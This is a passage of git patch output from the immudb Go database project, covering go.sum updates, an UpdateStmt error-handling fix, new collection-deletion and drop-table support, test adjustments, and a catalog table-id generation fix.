v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.8.0 h1:57P1ETyNKtuIjB4SRd15iJxuhj8Gc416Y78H3qgMh68= -golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -1005,12 +994,8 @@ golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= -golang.org/x/tools v0.5.1-0.20230111220935-a7f7db3f17fc/go.mod h1:N+Kgy78s5I24c24dU8OfWNEotWjutIs8SnJvn5IDq+k= -golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM= -golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= -golang.org/x/tools/cmd/cover v0.1.0-deprecated h1:Rwy+mWYz6loAF+LnG1jHG/JWMHRMMC2/1XX3Ejkx9lA= -golang.org/x/tools/cmd/cover v0.1.0-deprecated/go.mod h1:hMDiIvlpN1NoVgmjLjUJE9tMHyxHjFX7RuQ+rW12mSA= golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= From 8629a77f8b409d8dca4867cb08ce9efd44868c90 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Wed, 5 Apr 2023 19:42:24 +0200 Subject: [PATCH 0397/1062] Sonar cloud configuration update --- sonar-project.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sonar-project.properties b/sonar-project.properties index 37cb79f9ce..69e6cd5f14 100644 --- a/sonar-project.properties +++ b/sonar-project.properties @@ -5,7 +5,7 @@ sonar.organization=codenotary sonar.sources=. -sonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb*,**/*schemav2.pb*,**/*schemav2_grpc.pb*,**/statik.go +sonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb*,**/*schemav2.pb*,**/*schemav2_grpc.pb*,**/statik.go,test/objectstorage_tests/** sonar.tests=. sonar.test.inclusions=**/*_test.go From ae0d5d576ae1eae08c5a747f47ef2986353bdc54 Mon Sep 17 00:00:00 2001 From: Kristian Nielsen Date: Sun, 9 Apr 2023 12:08:59 +0200 Subject: [PATCH 0398/1062] fix(embedded/sql): crash when RowReader.Read() returns error Signed-off-by: Kristian Nielsen --- embedded/sql/engine_test.go | 21 +++++++++++++++++++++ embedded/sql/stmt.go | 2 ++ 2 files changed, 23 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 90c616efea..3dd56e3125 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1654,6 +1654,27 @@ func TestUpdate(t *testing.T) { }) } +func TestErrorDuringUpdate(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec( + context.Background(), nil, + ` + create table mytable(id varchar[256], value integer, primary key id); + insert into mytable(id, value) values('aa',12), ('ab',13); + `, nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "update mytable set value=@val where id=@id", nil) + require.ErrorIs(t, err, ErrMissingParameter) + + params := make(map[string]interface{}) + params["id"] = "ab"; + params["val"] = 15; + _, _, err = engine.Exec(context.Background(), nil, "update mytable set value=@val where id=@id", params) + require.NoError(t, err) +} + func TestTransactions(t *testing.T) { engine := setupCommonTest(t) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 96e5c70b04..d09ad2dede 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1040,6 +1040,8 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string row, err := rowReader.Read(ctx) if err == ErrNoMoreRows { break + } else if err != nil { + return nil, err } valuesByColID := make(map[uint32]TypedValue, len(row.ValuesBySelector)) From 7540a654d9a9f4a0ff031cadccaa6ebfdb3e28e2 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 5 Apr 2023 15:09:33 +0530 Subject: [PATCH 0399/1062] chore(embedded/document): add collection deletion api support --- embedded/document/engine.go | 51 ++++++++++++++++++------ embedded/document/engine_test.go | 36 +++++++++++++++++ embedded/sql/stmt.go | 63 ++++++++++++++++++++++++++++++ pkg/database/database.go | 2 +- pkg/database/document_database.go | 24 +++++++++--- pkg/server/db_dummy_closed.go | 6 ++- pkg/server/documents_operations.go | 10 +++-- 7 files changed, 169 insertions(+), 23 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 0256549ccb..042f2e02b5 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -101,6 +101,12 @@ var ( } ) +type Audit struct { + Value []byte + TxID uint64 + Revision uint64 +} + type Query struct { Field string Operator int @@ -413,13 +419,7 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries return results, nil } -type Audit struct { - Value []byte - TxID uint64 - Revision uint64 -} - -func (d *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { +func (d *Engine) getKey(ctx context.Context, tx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { return nil, err @@ -469,7 +469,7 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum } defer tx.Cancel() - searchKey, err := d.getKeyForDocument(ctx, tx, collectionName, documentID) + searchKey, err := d.getKey(ctx, tx, collectionName, documentID) if err != nil { return nil, err } @@ -592,7 +592,7 @@ func (d *Engine) UpdateDocument(ctx context.Context, collectionName string, docI defer tx.Cancel() // update document in collection - _, b, err := d.ExecPreparedStmts( + _, ctxs, err := d.ExecPreparedStmts( ctx, tx, []sql.SQLStmt{ @@ -610,17 +610,18 @@ func (d *Engine) UpdateDocument(ctx context.Context, collectionName string, docI if err != nil { return 0, err } - if len(b) == 0 { + if len(ctxs) == 0 { return 0, errors.New("transaction failed during document update") } - committedTx := b[0] + // wait for indexing to catch up to ensure we can read the document from the index + committedTx := ctxs[0] err = d.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) if err != nil { return 0, err } - searchKey, err := d.getKeyForDocument(ctx, tx, collectionName, docID) + searchKey, err := d.getKey(ctx, tx, collectionName, docID) if err != nil { return 0, err } @@ -632,3 +633,29 @@ func (d *Engine) UpdateDocument(ctx context.Context, collectionName string, docI return auditLog.Revision, nil } + +// DeleteCollection deletes a collection. +func (d *Engine) DeleteCollection(ctx context.Context, collectionName string) error { + // delete collection from catalog + _, ctxs, err := d.ExecPreparedStmts( + ctx, + nil, + []sql.SQLStmt{ + sql.NewDeleteFromStmt(collectionName, nil), // delete all documents from collection + sql.NewDeleteTableStmt(collectionName), // delete collection from catalog + }, + nil, + ) + if err != nil { + return err + } + + // wait for the transaction to be committed to ensure the collection is deleted from the catalog + committedTx := ctxs[0] + err = d.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) + if err != nil { + return err + } + + return nil +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 756c7c5429..cf8e67df64 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -563,3 +563,39 @@ func TestFloatSupport(t *testing.T) { doc := docs[0] require.Equal(t, 3.1, doc.Fields["number"].GetNumberValue()) } + +func TestDeleteCollection(t *testing.T) { + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ + "idx": sql.IntegerType, + }) + require.NoError(t, err) + require.NoError(t, err) + + // add documents to collection + for i := 1.0; i <= 10; i++ { + _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + }) + require.NoError(t, err) + } + + t.Run("delete collection and check if it is empty", func(t *testing.T) { + err = engine.DeleteCollection(context.Background(), collectionName) + require.NoError(t, err) + + _, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM mycollection", nil) + require.ErrorIs(t, err, sql.ErrTableDoesNotExist) + + collectionList, err := engine.ListCollections(context.Background()) + require.NoError(t, err) + require.Equal(t, 0, len(collectionList)) + }) +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 6329c1b899..0c0022344e 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1150,6 +1150,13 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return tx, nil } +func NewDeleteFromStmt(table string, where ValueExp) *DeleteFromStmt { + return &DeleteFromStmt{ + tableRef: newTableRef(table, ""), + where: where, + } +} + type DeleteFromStmt struct { tableRef *tableRef where ValueExp @@ -3999,3 +4006,59 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } + +func NewDeleteTableStmt(table string) *DeleteTableStmt { + return &DeleteTableStmt{table: table} +} + +// DeleteTableStmt represents a statement to delete a table. +type DeleteTableStmt struct { + table string +} + +func (stmt *DeleteTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + +/* + Exec executes the delete table statement. + It the table exists, if not it does nothing. + If the table exists, it deletes all the indexes and the table itself. + Note that this is a soft delete of the index and table key, + the data is not deleted, but the metadata is updated. +*/ +func (stmt *DeleteTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + if !tx.catalog.ExistTable(stmt.table) { + return tx, nil + } + + table, err := tx.catalog.GetTableByName(stmt.table) + if err != nil { + return nil, err + } + + // metadata for deleted keys + md := store.NewKVMetadata() + md.AsDeleted(true) + + // delete indexes + indexes := table.GetIndexes() + for _, index := range indexes { + mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) + err = tx.set(mappedKey, md, nil) + if err != nil { + return nil, err + } + } + + // delete table + mappedKey := mapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(1), EncodeID(table.id)) + err = tx.set(mappedKey, md, nil) + if err != nil { + return nil, err + } + + tx.mutatedCatalog = true + + return tx, nil +} diff --git a/pkg/database/database.go b/pkg/database/database.go index 3063a624ae..3a2f4f8f1d 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -136,7 +136,7 @@ type DB interface { IsClosed() bool Close() error - ObjectDatabase + DocumentDatabase } type uuid = string diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 7349e4d36c..903b8cb1d3 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -18,8 +18,8 @@ var ( } ) -// ObjectDatabase is the interface for object database -type ObjectDatabase interface { +// DocumentDatabase is the interface for object database +type DocumentDatabase interface { // GetCollection returns the collection schema GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) // CreateCollection creates a new collection @@ -32,8 +32,10 @@ type ObjectDatabase interface { CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) // DocumentAudit returns the document audit history DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) - // DocumentUpdate updates a document - DocumentUpdate(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) + // UpdateDocument updates a document + UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) + // DeleteCollection deletes a collection + DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) } func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { @@ -194,8 +196,8 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque return resp, nil } -// DocumentUpdate updates a document -func (d *db) DocumentUpdate(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { +// UpdateDocument updates a document +func (d *db) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { // verify if document id is valid docID, err := document.DocumentIDFromHex(req.DocumentId) if err != nil { @@ -209,3 +211,13 @@ func (d *db) DocumentUpdate(ctx context.Context, req *schemav2.DocumentUpdateReq return &schemav2.DocumentUpdateResponse{Revision: revision}, nil } + +// DeleteCollection deletes a collection +func (d *db) DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) { + err := d.documentEngine.DeleteCollection(ctx, req.Name) + if err != nil { + return nil, err + } + + return &schemav2.CollectionDeleteResponse{}, nil +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 7c77f52840..30e910b6e8 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -273,6 +273,10 @@ func (d *closedDB) DocumentAudit(ctx context.Context, req *schemav2.DocumentAudi return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentUpdate(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { +func (d *closedDB) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { + return nil, store.ErrAlreadyClosed +} + +func (d *closedDB) DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index aa6ab322aa..2126f3c4e2 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -39,7 +39,7 @@ func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *documentschema.Doc if err != nil { return nil, err } - resp, err := db.DocumentUpdate(ctx, req) + resp, err := db.UpdateDocument(ctx, req) if err != nil { return nil, err } @@ -96,11 +96,15 @@ func (s *ImmuServer) CollectionList(ctx context.Context, req *documentschema.Col // TODO: implement func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentschema.CollectionDeleteRequest) (*documentschema.CollectionDeleteResponse, error) { - _, err := s.getDBFromCtx(ctx, "CollectionDelete") + db, err := s.getDBFromCtx(ctx, "CollectionDelete") if err != nil { return nil, err } - return nil, nil + resp, err := db.DeleteCollection(ctx, req) + if err != nil { + return nil, err + } + return resp, nil } // TODO: implement From b4b10e32c95cf74d7299dfdd26c76acc50567ded Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 7 Apr 2023 11:11:17 +0530 Subject: [PATCH 0400/1062] chore: change DeleteTableStmt to DropTableStmt --- embedded/document/engine.go | 17 ++++++++++------- embedded/sql/sql_tx.go | 4 ++++ embedded/sql/stmt.go | 22 +++++++++------------- 3 files changed, 23 insertions(+), 20 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 042f2e02b5..8d7631de1d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -405,13 +405,16 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries document := &structpb.Struct{Fields: map[string]*structpb.Value{}} for i := range colDescriptors { colName := colDescriptors[i].Column - tv := row.ValuesByPosition[i] - transformedTV := transformTypedValue(colName, tv) - vtype, err := valueTypeToFieldValue(transformedTV) - if err != nil { - return nil, err + switch colName { + case defaultDocumentIDField, defaultDocumentBLOBField: + tv := row.ValuesByPosition[i] + transformedTV := transformTypedValue(colName, tv) + vtype, err := valueTypeToFieldValue(transformedTV) + if err != nil { + return nil, err + } + document.Fields[colName] = vtype } - document.Fields[colName] = vtype } results = append(results, document) } @@ -642,7 +645,7 @@ func (d *Engine) DeleteCollection(ctx context.Context, collectionName string) er nil, []sql.SQLStmt{ sql.NewDeleteFromStmt(collectionName, nil), // delete all documents from collection - sql.NewDeleteTableStmt(collectionName), // delete collection from catalog + sql.NewDropTableStmt(collectionName), // delete collection from catalog }, nil, ) diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index a8f77bb578..7887d26e0c 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -141,3 +141,7 @@ func (sqlTx *SQLTx) Commit(ctx context.Context) (err error) { func (sqlTx *SQLTx) Closed() bool { return sqlTx.closed } + +func (sqlTx *SQLTx) delete(key []byte) error { + return sqlTx.tx.Delete(key) +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 0c0022344e..7cf53e5c27 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -4007,16 +4007,16 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } -func NewDeleteTableStmt(table string) *DeleteTableStmt { - return &DeleteTableStmt{table: table} +func NewDropTableStmt(table string) *DropTableStmt { + return &DropTableStmt{table: table} } -// DeleteTableStmt represents a statement to delete a table. -type DeleteTableStmt struct { +// DropTableStmt represents a statement to delete a table. +type DropTableStmt struct { table string } -func (stmt *DeleteTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *DropTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -4027,9 +4027,9 @@ func (stmt *DeleteTableStmt) inferParameters(ctx context.Context, tx *SQLTx, par Note that this is a soft delete of the index and table key, the data is not deleted, but the metadata is updated. */ -func (stmt *DeleteTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.catalog.ExistTable(stmt.table) { - return tx, nil + return nil, ErrTableDoesNotExist } table, err := tx.catalog.GetTableByName(stmt.table) @@ -4037,15 +4037,11 @@ func (stmt *DeleteTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } - // metadata for deleted keys - md := store.NewKVMetadata() - md.AsDeleted(true) - // delete indexes indexes := table.GetIndexes() for _, index := range indexes { mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) - err = tx.set(mappedKey, md, nil) + err = tx.delete(mappedKey) if err != nil { return nil, err } @@ -4053,7 +4049,7 @@ func (stmt *DeleteTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s // delete table mappedKey := mapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(1), EncodeID(table.id)) - err = tx.set(mappedKey, md, nil) + err = tx.delete(mappedKey) if err != nil { return nil, err } From cd3fbebc9a6c286490335dc889870dcaaef3e9dc Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 7 Apr 2023 14:44:24 +0530 Subject: [PATCH 0401/1062] chore: fix tests --- embedded/document/engine_test.go | 5 +---- pkg/database/document_database_test.go | 6 +++++- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index cf8e67df64..3dc85587a6 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -498,11 +498,8 @@ func TestDocumentUpdate(t *testing.T) { require.NoError(t, err) require.Equal(t, 1, len(docs)) - // retrieve document - doc := docs[0] - require.Equal(t, "wonderland", doc.Fields["country"].GetStringValue()) - // check if data is updated + doc := docs[0] data := map[string]interface{}{} err = json.Unmarshal([]byte(doc.Fields["_obj"].GetStringValue()), &data) require.NoError(t, err) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 1bedd02226..68ab17ff62 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -2,6 +2,7 @@ package database import ( "context" + "encoding/json" "os" "testing" @@ -94,5 +95,8 @@ func TestObjectDB_Collection(t *testing.T) { require.NoError(t, err) require.Equal(t, 1, len(docs.Results)) res := docs.Results[0] - require.Equal(t, 123, int(res.Fields["pincode"].GetNumberValue())) + data := map[string]interface{}{} + err = json.Unmarshal([]byte(res.Fields["_obj"].GetStringValue()), &data) + require.NoError(t, err) + require.Equal(t, 123.0, data["pincode"]) } From b2cb6bdef607b2e936611e218a5aa96c7160c0c6 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 7 Apr 2023 16:13:33 +0530 Subject: [PATCH 0402/1062] chore: fix TestFloatSupport test case --- embedded/document/engine_test.go | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 3dc85587a6..8600d3c236 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -558,7 +558,10 @@ func TestFloatSupport(t *testing.T) { // retrieve document doc := docs[0] - require.Equal(t, 3.1, doc.Fields["number"].GetNumberValue()) + data := map[string]interface{}{} + err = json.Unmarshal([]byte(doc.Fields["_obj"].GetStringValue()), &data) + require.NoError(t, err) + require.Equal(t, 3.1, data["number"]) } func TestDeleteCollection(t *testing.T) { From 3f0eeea6a43a61bc72322c51b29a0ca0e27b4a28 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 10 Apr 2023 15:33:35 +0530 Subject: [PATCH 0403/1062] fix: table id generation --- embedded/sql/catalog.go | 32 +++++++- embedded/sql/catalog_test.go | 137 +++++++++++++++++++++++++++++++++++ 2 files changed, 166 insertions(+), 3 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 8280eb4284..d1a785cbbc 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -29,12 +29,14 @@ import ( "github.com/codenotary/immudb/embedded/store" ) +// Catalog represents a database catalog containing metadata for all tables in the database. type Catalog struct { prefix []byte tables []*Table tablesByID map[uint32]*Table tablesByName map[string]*Table + tableCount uint32 // The tableCount variable is used to assign unique ids to new tables as they are created. } type Table struct { @@ -251,10 +253,19 @@ func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, return nil, fmt.Errorf("%w (%s)", ErrTableAlreadyExists, name) } - id := len(catlg.tables) + 1 + // Generate a new ID for the table by incrementing the 'tableCount' variable of the 'catalog' instance. + id := (catlg.tableCount + 1) + + // This code is attempting to check if a table with the given id already exists in the Catalog. + // If the function returns nil for err, it means that the table already exists and the function + // should return an error indicating that the table cannot be created again. + _, err = catlg.GetTableByID(id) + if err == nil { + return nil, fmt.Errorf("%w (%d)", ErrTableAlreadyExists, id) + } table = &Table{ - id: uint32(id), + id: id, catalog: catlg, name: name, cols: make([]*Column, len(colsSpec)), @@ -299,6 +310,11 @@ func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, catlg.tablesByID[table.id] = table catlg.tablesByName[table.name] = table + // increment table count on successfull table creation. + // This ensures that each new table is assigned a unique ID + // that has not been used before. + catlg.tableCount += 1 + return table, nil } @@ -467,7 +483,7 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { func (catlg *Catalog) load(tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ Prefix: mapKey(catlg.prefix, catalogTablePrefix, EncodeID(1)), - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + Filters: []store.FilterFn{store.IgnoreExpired}, } tableReader, err := tx.NewKeyReader(dbReaderSpec) @@ -494,6 +510,16 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { return ErrCorruptedData } + // Retrieve the key-value metadata (KVMetadata) of the current version reference (vref). + // If the metadata is not nil and the "Deleted" flag of the metadata is set to true, + // increment the catalog's table count by 1 and continue to the next iteration. + // This implies this is a deleted table and we should not load it. + md := vref.KVMetadata() + if md != nil && md.Deleted() { + catlg.tableCount += 1 + continue + } + colSpecs, err := loadColSpecs(dbID, tableID, tx, catlg.prefix) if err != nil { return err diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 6274280068..afeef3f4c5 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -17,8 +17,10 @@ limitations under the License. package sql import ( + "context" "testing" + "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" ) @@ -130,3 +132,138 @@ func TestEncodeRawValueAsKey(t *testing.T) { } }) } + +func TestCatalogTableLength(t *testing.T) { + // db := newCatalog(nil) + + st, err := store.Open(t.TempDir(), store.DefaultOptions()) + require.NoError(t, err) + defer closeStore(t, st) + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + totalTablesCount := uint32(0) + + for _, v := range []string{"table1", "table2", "table3"} { + _, _, err = engine.Exec( + context.Background(), nil, + ` + CREATE TABLE `+v+` ( + id INTEGER AUTO_INCREMENT, + PRIMARY KEY(id) + )`, nil) + require.NoError(t, err) + totalTablesCount++ + } + + t.Run("table count should be 3 on catalog reload", func(t *testing.T) { + for i := 0; i < 3; i++ { + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + defer tx.Cancel() + + require.Equal(t, totalTablesCount, tx.catalog.tableCount) + } + }) + + t.Run("table count should not increase on adding existing table", func(t *testing.T) { + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + defer tx.Cancel() + catlog := tx.catalog + + for _, v := range []string{"table1", "table2", "table3"} { + _, err := catlog.newTable(v, []*ColSpec{{colName: "id", colType: IntegerType}}) + require.ErrorIs(t, err, ErrTableAlreadyExists) + } + require.Equal(t, totalTablesCount, catlog.tableCount) + }) + + t.Run("table count should increase on using newTable function on catalog", func(t *testing.T) { + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + defer tx.Cancel() + catlog := tx.catalog + + for _, v := range []string{"table4", "table5", "table6"} { + _, err := catlog.newTable(v, []*ColSpec{{colName: "id", colType: IntegerType}}) + require.NoError(t, err) + } + require.Equal(t, totalTablesCount+3, catlog.tableCount) + }) + + t.Run("table count should increase on adding new table", func(t *testing.T) { + for _, v := range []string{"table4", "table5", "table6"} { + _, _, err = engine.Exec( + context.Background(), nil, + ` + CREATE TABLE `+v+` ( + id INTEGER AUTO_INCREMENT, + PRIMARY KEY(id) + )`, nil) + require.NoError(t, err) + totalTablesCount++ + } + }) + + t.Run("table count should decrease on dropping table", func(t *testing.T) { + deleteTables := []string{"table1", "table2", "table3"} + activeTables := []string{"table4", "table5", "table6"} + for _, v := range deleteTables { + _, _, err := engine.ExecPreparedStmts( + context.Background(), + nil, + []SQLStmt{ + NewDropTableStmt(v), // delete collection from catalog + }, + nil, + ) + require.NoError(t, err) + } + + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + defer tx.Cancel() + catlog := tx.catalog + + // ensure that catalog has been reloaded with deleted table count + require.Equal(t, totalTablesCount, catlog.tableCount) + + for _, v := range activeTables { + require.True(t, catlog.ExistTable(v)) + } + + for _, v := range deleteTables { + require.False(t, catlog.ExistTable(v)) + } + }) + + t.Run("adding new table should not increase table count", func(t *testing.T) { + tableName := "table7" + _, _, err = engine.Exec( + context.Background(), nil, + ` + CREATE TABLE `+tableName+` ( + id INTEGER AUTO_INCREMENT, + PRIMARY KEY(id) + )`, nil) + require.NoError(t, err) + totalTablesCount++ + + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + defer tx.Cancel() 